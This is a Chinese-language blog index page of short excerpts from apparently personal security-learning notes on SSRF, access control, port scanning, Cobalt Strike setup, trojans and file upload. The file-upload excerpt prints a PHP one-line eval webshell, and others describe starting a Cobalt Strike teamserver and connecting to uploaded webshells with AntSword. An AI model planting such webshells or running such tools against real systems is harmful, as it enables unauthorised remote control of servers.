2024年1月31日
服务器端请求伪造 （SSRF）
摘要： 什么是SSRF？服务器端请求伪造是一种 Web 安全漏洞，它允许攻击者使服务器端应用程序向非预期位置发出请求。在典型的 SSRF 攻击中，攻击者可能导致服务器与组织基础结构中的仅限内部的服务建立连接。在其他情况下，它们可能能够强制服务器连接到任意外部系统。这可能会泄露敏感数据，例如授权凭据。在此示例 阅读全文
posted @ 2024-01-31 10:13 CLLWA 阅读(36) 评论(0) 推荐(0) 编辑
Authentication vulnerabilities
摘要： 身份验证漏洞从概念上讲，身份验证漏洞很容易理解。但是，由于身份验证和安全性之间存在明确的关系，它们通常至关重要。身份验证漏洞可能允许攻击者访问敏感数据和功能。它们还暴露了额外的攻击面，以便进一步利用。因此，了解如何识别和利用身份验证漏洞以及如何绕过常见的保护措施非常重要。身份验证和授权有什么区别？身 阅读全文
posted @ 2024-01-31 10:13 CLLWA 阅读(7) 评论(0) 推荐(0) 编辑
access control
摘要： 什么是访问控制？访问控制是对谁或什么有权执行操作或访问资源的约束的应用。在 Web 应用程序的上下文中，访问控制依赖于身份验证和会话管理：身份验证确认用户是他们所说的人。会话管理可识别同一用户正在发出哪些后续 HTTP 请求。访问控制确定是否允许用户执行他们尝试执行的操作。损坏的访问控制很常见，并且 阅读全文
posted @ 2024-01-31 10:12 CLLWA 阅读(10) 评论(0) 推荐(0) 编辑
2024年1月22日
靶机
摘要： 靶机地址 链接：https://pan.baidu.com/s/1nzCn2aRw88HpuhC3YIPUVg?pwd=hack 提取码：hack 导入 打开虚拟机，导入test即可 调整网卡配置为nat 开机 展示界面如下 探测靶机ip 方法一： 使用 arp-scan -l 检查当前靶机的 ma 阅读全文
posted @ 2024-01-22 20:11 CLLWA 阅读(7) 评论(0) 推荐(0) 编辑
端口扫描&目录扫描
摘要： 端口是英文port的意译，可以认为是设备与外界通讯交流的出口。端口可分为虚拟端口和物理端口，其中虚拟端口指计算机内部或交换机路由器内的端口，不可见。例如计算机中的80端口（web服务）、 21端口（ftp）、23端口（telnet）等。物理端口又称为接口，是可见端口，计算机背板的RJ45网口，交换机 阅读全文
posted @ 2024-01-22 19:13 CLLWA 阅读(48) 评论(0) 推荐(0) 编辑
cs简单使用
摘要： cs工具使用 给teamserver文件赋权 chmod +x teamserver ./teamserver你的ip自己设置的密码例：./teamserver 192.168.10.128 qaz123#开启服务端 给cobaltstrike.sh文件赋权 chmod +x cobaltstrik 阅读全文
posted @ 2024-01-22 19:05 CLLWA 阅读(18) 评论(0) 推荐(0) 编辑
木马制作
摘要： 什么是木马 木马病毒是计算机黑客用于远程控制计算机的程序，将控制程序寄生于被控制的计算机系统中，里应外合，对被感染木马病毒的计算机实施操作。一般的木马病毒程序主要是寻找计算机后门，伺机窃取被控计算机中的密码和重要文件等。可以对被控计算机实施监控、资料修改等非法操作。木马病毒具有很强的隐蔽性，可以根据 阅读全文
posted @ 2024-01-22 15:42 CLLWA 阅读(86) 评论(0) 推荐(0) 编辑
蚁剑webshell管理工具使用
摘要： https://github.com/AntSwordProject/ 解压文件 antsword-master部份为源码 loader部份为可视化页面 第一次打开需要配置源码路径 配置成功后如下 使用：结合一句话木马上传一句话木马 访问一下木马， 右键添加数据 *为必填项 填写文件上传的路径，填写 阅读全文
posted @ 2024-01-22 15:26 CLLWA 阅读(88) 评论(0) 推荐(0) 编辑
2024年1月20日
常规命令
摘要： mkdir#创建文件夹 cd#进入文件夹/目录 cd ..#上级目录 cd/ #根目录 linux 命令常规参数查询 --help man#详细命令描述信息 关闭服务端口占用 https://overthewire.org/wargames/bandit/bandit0.html 远程登录成功样式如 阅读全文
posted @ 2024-01-20 10:37 CLLWA 阅读(3) 评论(0) 推荐(0) 编辑
文件上传
摘要： <?php eval($_POST['pass']);?>#一句话木马eval#代码执行函数$_POST#接受post请求，参数为pass HackBar 新手使用教程_hackbar怎么用-CSDN博客 (hackbar)链接：https://pan.baidu.com/s/1eL8UWGql2L 阅读全文
posted @ 2024-01-20 10:11 CLLWA 阅读(8) 评论(0) 推荐(0) 编辑